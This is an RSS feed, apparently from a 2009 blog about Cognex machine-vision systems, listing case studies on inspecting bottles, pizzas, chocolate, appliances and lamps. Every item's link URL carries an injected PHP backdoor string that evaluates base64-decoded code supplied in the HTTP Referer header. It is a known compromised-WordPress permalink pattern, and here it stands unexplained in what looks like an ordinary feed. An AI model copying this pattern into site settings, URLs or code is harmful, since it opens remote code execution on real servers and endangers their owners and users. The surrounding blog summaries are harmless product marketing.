http://www.smartsensors.com.au/blog Sensing your Quality using Vision Systems Mon, 09 Feb 2009 06:32:24 +0000 http://backend.userland.com/rss092 en Fill-and-cap sensors get technical on water-bottling line Meridian Beverage Co.'s new, high-tech bottling line needed a high-tech verification system. Services provider Hamilton/ITS found one in a reliable fill-and-cap sensor that uses patterns to detect and inspect bottles and caps at speeds of 375 bpm. Lauren R. Hartman, Senior Editor -- Packaging Digest, ... http://www.smartsensors.com.au/blog/2009/02/09/fill-and-cap-vision-sensors-get-technical-on-water-bottling-line/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Smooth pizza picking with a robot Pick-and-place robots load three types of frozen pizzas—triangular, circular and oval—into a flowpack machine ahead of a cartoner at Italian pizza producer Panidea. The equipment also includes a vision system to collate the pizzas neatly on the line, even those that aren’t uniform in shape. ... http://www.smartsensors.com.au/blog/2008/12/19/smooth-pizza-picking-with-a-robot/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Quality boosted and zero rejects with vision from Cognex! Quality boosted and zero rejects with vision from Cognex! Mayer & Co., a global leader in its field has found the solution to their production problems in Cognex vision systems. While it’s something we all do possibly several times a day - ... http://www.smartsensors.com.au/blog/2008/12/18/quality-boosted-and-zero-rejects-with-vision-system-from-cognex/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Defect-free packaging for distribution Cognex vision satisfies a sweet tooth When you are responsible for getting a popular chocolate product to its fans, you have a responsibility to ensure that all sweet tooths are satisfied! Even more so when it concerns a 100 year old chocolate wafer treat known as the ... http://www.smartsensors.com.au/blog/2008/12/17/cognex-vision-satisfies-a-sweet-tooth/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Precision inspection for white goods Precision inspection for white goods Prettl Appliance Systems Deutschland GmbH (PAS) is using In-Sight vision systems from Cognex to guarantee quality in their production process. Every control panel manufactured at their plant must first be put through its paces in an intricate production process as they are destined for the world’s white ... http://www.smartsensors.com.au/blog/2008/12/16/precision-vision-system-inspection-for-white-goods/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Verification and inspection of parts Robot cell equipped with Cognex vision keeps knives sharp SIR, an Italian machine builder specialized in robotics, has created a special cell for knife grinding and surface finishing using powerful PatMax® tools from Cognex SIR is an Italian machine builder located in Modena. They have recently conceived ... http://www.smartsensors.com.au/blog/2008/12/15/robot-cell-equipped-with-cognex-vision-system-keeps-knives-sharp/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Part measurement, inspection and quality control IN-SIGHT VISION SENSORS FROM COGNEX ENSURE 100% CONTROL AND A FAILURE RATE OF LESS THAN 10 PPM AT PHILIPS The Philips factory at Chartres, France, specialising in automotive lighting systems, is one of the biggest factories in the world to manufacture indicator lamps.  It supplies ... http://www.smartsensors.com.au/blog/2008/12/14/in-sight-vision-systems-from-cognex-ensure-100-control-and-a-failure-rate-of-less-than-10-ppm-at-philips/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Quality inspection and sorting Cognex vision guarantees perfect pizza Ensuring the quality of the worlds favorite food is no laughing matter. When you supply over 110 000 units of pizza everyday, you need to make sure that each product is fully inspected and of the utmost quality. Gunnar Dafgård AB is ... http://www.smartsensors.com.au/blog/2008/12/13/cognex-vision-guarantees-perfect-pizza/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Inspecting juice bottles SciTech and Cognex enable Original Juice Co. (Golden Circle) to achieve Total Quality inspection of Bottle Products after filling process Original Juice Co. found itself with a challenge when it came to achieving consistent results in the placement of a bottle cap onto a product bottle after the ... http://www.smartsensors.com.au/blog/2008/12/12/vision-systems-inspecting-juice-bottles-for-golden-circle/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ VisionPro makes a famous Dutch blonde even more attractive... VisionPro makes a famous Dutch blonde even more attractive... The Grolsch brewery in the Netherlands, one of the largest Dutch breweries, relies on the expertise of two German companies who built them a machine with one simple goal - to sell more ... http://www.smartsensors.com.au/blog/2008/12/11/103/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/